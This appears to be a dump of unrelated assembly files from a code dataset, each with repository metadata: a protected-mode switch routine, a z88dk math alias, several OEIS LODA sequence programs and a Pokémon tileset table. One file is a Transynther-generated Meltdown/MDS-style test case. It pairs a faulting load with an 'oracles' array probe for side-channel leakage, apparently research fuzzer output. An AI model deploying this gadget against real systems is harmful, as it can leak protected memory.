Return to protected mode! .returnpm: ; Store the return values mov [FIXADDR(storevars.error)],ax ; Turn on protected mode (this is same as "or cr0,1") mov eax,cr0 inc eax mov cr0,eax ; Load 32 bit GDT lgdt [FIXADDR(gdt32)] ; Jump to 32 bit protected mode jmp 0x08:FIXADDR(returnpm32) [BITS 32] ; We're back in 32 bit protected mode land! returnpm32: ; Load all the data segments mov ax,0x10 mov ss,ax mov ds,ax mov es,ax mov fs,ax mov gs,ax ; Use the protected mode IDT lidt [FIXADDR(idt32)] ; Re-enable paging mov eax,cr0 or eax,0x80000000 mov cr0,eax ; Restore cr3 mov eax,[store32.cr3] mov cr3,eax ; Reload GDT with paging enabled (otherwise we will triple fault on sti) lgdt [FIXADDR(gdt32)] ; Restore PIC (see idt.c for values) mov al,0x11 out 0x20,al out 0xA0,al mov al,0x20 out 0x21,al mov al,40 out 0xA1,al mov al,4 out 0x21,al sub al,2 out 0xA1,al dec al out 0x21,al out 0xA1,al xor al,al out 0x21,al out 0xA1,al mov ax,[FIXADDR(storevars.error)] ; Re-enable interrupts sti ; Finally, return to the callee ret gdt32: dw 0 dd 0 idt32: dw 0 dd 0 idt16: dw 0x03FF dd 0 gdt16_struct: dq 0 dw 0xFFFF dw 0 db 0 db 10011010b db 10001111b db 0 dw 0xFFFF dw 0 db 0 db 10010010b db 10001111b db 0 gdt16: dw gdt16 - gdt16_struct - 1 dd FIXADDR(gdt16_struct) storevars: .bx dw 0 .cx dw 0 .dx dw 0 .si dw 0 .di dw 0 .func dw 0 .error dw 0 _int32_end: store32: .esp dd 0 .ebp dd 0 .cr3 dd 0
18
103
0.663486
90f1acdd3da27bcb2684a69193b7d877f944d862
108
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/invsqrt.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/invsqrt.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/invsqrt.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_fp_math32 PUBLIC _invsqrt EXTERN cm32_sdcc_fsinvsqrt defc _invsqrt = cm32_sdcc_fsinvsqrt
15.428571
36
0.842593
5aac2201c77d1af4218669da5c91a4a441b43bbe
767
asm
Assembly
oeis/113/A113852.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/113/A113852.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/113/A113852.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A113852: Numbers whose prime factors are raised to the seventh power. ; Submitted by Jamie Morken(m4) ; 128,2187,78125,279936,823543,10000000,19487171,62748517,105413504,170859375,410338673,893871739,1801088541,2494357888,3404825447,8031810176,17249876309,21870000000,27512614111,42618442977,52523350144,64339296875,94931877133,114415582592,137231006679,194754273881,230539333248,271818611107,435817657216,506623120463,897410677851,1174711139837,1522435234375,1954897493193,2207984167552,2488651484819,3142742836021,3521614606208,4902227890625,5455160701056,6060711605323,7446353252589,8235430000000 add $0,1 seq $0,232893 ; Numbers whose sum of square divisors is a palindrome in base 10 having at least two digits. pow $0,7 div $0,203190590417428920928489701376
85.222222
497
0.863103
1c299b1ae6bbd6f26631b68efdfc48b675c22d10
4,911
asm
Assembly
Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2_notsx.log_26_310.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2_notsx.log_26_310.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2_notsx.log_26_310.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r14 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WT_ht+0x5b4c, %r12 nop nop nop nop nop sub $38280, %rsi mov $0x6162636465666768, %rax movq %rax, (%r12) nop nop nop nop nop cmp %rdi, %rdi lea addresses_WC_ht+0x48ae, %r14 nop nop nop nop nop xor %r11, %r11 movups (%r14), %xmm2 vpextrq $1, %xmm2, %rsi nop xor %r14, %r14 lea addresses_D_ht+0x19c5e, %r11 clflush (%r11) nop nop nop nop lfence movl $0x61626364, (%r11) nop add $9158, %r11 lea addresses_A_ht+0x857e, %rax nop nop nop nop add $53128, %rdi mov $0x6162636465666768, %r14 movq %r14, %xmm4 vmovups %ymm4, (%rax) nop nop nop nop nop add $18426, %r11 lea addresses_D_ht+0x15008, %rsi lea addresses_normal_ht+0xb8e, %rdi clflush (%rdi) nop nop nop dec %r9 mov $100, %rcx rep movsw dec %rcx lea addresses_UC_ht+0x1485e, %r11 nop nop nop nop nop and $25463, %r14 mov $0x6162636465666768, %rcx movq %rcx, %xmm3 vmovups %ymm3, (%r11) nop nop nop nop nop sub $27656, %rcx lea addresses_D_ht+0x1e983, %r9 nop nop nop nop add %r11, %r11 mov $0x6162636465666768, %rax movq %rax, %xmm5 movups %xmm5, (%r9) nop nop add %r12, %r12 lea addresses_WT_ht+0x4b5e, %rsi nop nop nop nop nop cmp $56000, %rax mov $0x6162636465666768, %r14 movq %r14, %xmm2 vmovups %ymm2, (%rsi) nop nop xor %rdi, %rdi lea addresses_UC_ht+0xf85e, %r14 xor %r11, %r11 movl $0x61626364, (%r14) nop nop dec %r11 lea addresses_UC_ht+0x404e, %rax nop nop nop nop nop add $55587, %rcx movups (%rax), %xmm4 vpextrq $1, %xmm4, %r12 and %rsi, %rsi lea addresses_D_ht+0x49a, %rcx clflush (%rcx) nop nop nop nop xor $41244, %rax movw $0x6162, (%rcx) nop nop nop nop nop inc %rcx lea addresses_A_ht+0xdde, %rsi lea addresses_WC_ht+0x1b156, %rdi nop nop nop nop cmp $59269, %rax mov $32, %rcx rep movsw nop nop cmp $6340, %rdi pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r14 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r9 push %rax push %rdx push %rsi // Store mov $0x23582000000008f6, %r10 dec %r11 movl $0x51525354, (%r10) nop nop nop nop nop sub $42539, %rdx // Load lea addresses_US+0x1885e, %rsi nop nop nop nop and %r11, %r11 movups (%rsi), %xmm6 vpextrq $0, %xmm6, %r9 nop nop nop nop nop inc %r12 // Load lea addresses_normal+0x245c, %rdx clflush (%rdx) dec %rax mov (%rdx), %r9w nop nop nop xor %r10, %r10 // Faulty Load lea addresses_US+0x705e, %rsi nop nop and $15085, %rax mov (%rsi), %r9d lea oracles, %r11 and $0xff, %r9 shlq $12, %r9 mov (%r11,%r9,1), %r9 pop %rsi pop %rdx pop %rax pop %r9 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 1, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 2, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}} {'00': 26} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
19.183594
151
0.649766
0ea39760cd341625638f6b1c3a7884feeafcc6c5
411
asm
Assembly
programs/oeis/008/A008586.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/008/A008586.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/008/A008586.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A008586: Multiples of 4. ; 0,4,8,12,16,20,24,28,32,36,40,44,48,52,56,60,64,68,72,76,80,84,88,92,96,100,104,108,112,116,120,124,128,132,136,140,144,148,152,156,160,164,168,172,176,180,184,188,192,196,200,204,208,212,216,220,224,228,232,236,240,244,248,252,256,260,264,268,272,276,280,284,288,292,296,300,304,308,312,316,320,324,328,332,336,340,344,348,352,356,360,364,368,372,376,380,384,388,392,396 mul $0,4
82.2
373
0.720195
c85a51e54cf9eea79d4d14d33750b3287c86e731
2,202
asm
Assembly
data/tileset_headers.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
16
2018-08-28T21:47:01.000Z
2022-02-20T20:29:59.000Z
data/tileset_headers.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
5
2019-04-03T19:53:11.000Z
2022-03-11T22:49:34.000Z
data/tileset_headers.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
2
2019-12-09T19:46:02.000Z
2020-12-05T21:36:30.000Z
Tilesets: tileset Overworld_Block, Overworld_GFX, Overworld_Coll, $FF,$FF,$FF, $52, OUTDOOR tileset RedsHouse1_Block, RedsHouse1_GFX, RedsHouse1_Coll, $FF,$FF,$FF, $FF, INDOOR tileset Mart_Block, Mart_GFX, Mart_Coll, $18,$19,$1E, $FF, INDOOR tileset Forest_Block, Forest_GFX, Forest_Coll, $FF,$FF,$FF, $20, CAVE tileset RedsHouse2_Block, RedsHouse2_GFX, RedsHouse2_Coll, $FF,$FF,$FF, $FF, INDOOR tileset Dojo_Block, Dojo_GFX, Dojo_Coll, $3A,$FF,$FF, $FF, OUTDOOR tileset Pokecenter_Block, Pokecenter_GFX, Pokecenter_Coll, $18,$19,$1E, $FF, INDOOR tileset Gym_Block, Gym_GFX, Gym_Coll, $3A,$FF,$FF, $FF, OUTDOOR tileset House_Block, House_GFX, House_Coll, $FF,$FF,$FF, $FF, INDOOR tileset ForestGate_Block, ForestGate_GFX, ForestGate_Coll, $17,$32,$FF, $FF, INDOOR tileset Museum_Block, Museum_GFX, Museum_Coll, $17,$32,$FF, $FF, INDOOR tileset Underground_Block, Underground_GFX, Underground_Coll, $FF,$FF,$FF, $FF, INDOOR tileset Gate_Block, Gate_GFX, Gate_Coll, $17,$32,$FF, $FF, INDOOR tileset Ship_Block, Ship_GFX, Ship_Coll, $FF,$FF,$FF, $FF, CAVE tileset ShipPort_Block, ShipPort_GFX, ShipPort_Coll, $FF,$FF,$FF, $FF, CAVE tileset Cemetery_Block, Cemetery_GFX, Cemetery_Coll, $12,$FF,$FF, $FF, INDOOR tileset Interior_Block, Interior_GFX, Interior_Coll, $FF,$FF,$FF, $FF, INDOOR tileset Cavern_Block, Cavern_GFX, Cavern_Coll, $FF,$FF,$FF, $FF, CAVE tileset Lobby_Block, Lobby_GFX, Lobby_Coll, $15,$36,$FF, $FF, INDOOR tileset Mansion_Block, Mansion_GFX, Mansion_Coll, $FF,$FF,$FF, $FF, INDOOR tileset Lab_Block, Lab_GFX, Lab_Coll, $FF,$FF,$FF, $FF, INDOOR tileset Club_Block, Club_GFX, Club_Coll, $07,$17,$FF, $FF, INDOOR tileset Facility_Block, Facility_GFX, Facility_Coll, $12,$FF,$FF, $FF, CAVE tileset Plateau_Block, Plateau_GFX, Plateau_Coll, $FF,$FF,$FF, $45, CAVE tileset BeachHouse_Block, BeachHouse_GFX, BeachHouse_Coll, $FF,$FF,$FF, $FF, INDOOR
78.642857
88
0.639873
a67cda94e27215a7fa6b9c87dbed693272cf8826
428
asm
Assembly
programs/oeis/179/A179298.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/179/A179298.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/179/A179298.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A179298: a(n)=n^3-(n-1)^3-(n-2)^3-...-1. ; 1,7,18,28,25,-9,-98,-272,-567,-1025,-1694,-2628,-3887,-5537,-7650,-10304,-13583,-17577,-22382,-28100,-34839,-42713,-51842,-62352,-74375,-88049,-103518,-120932,-140447,-162225,-186434,-213248,-242847,-275417 mov $1,$0 bin $0,2 mov $4,$1 mov $1,50 mov $3,$0 sub $3,3 lpb $1 mov $0,1 mov $1,1 pow $3,2 add $3,3 sub $0,$3 add $0,15 lpe sub $0,3 mov $2,$4 mul $2,6 add $0,$2
19.454545
208
0.586449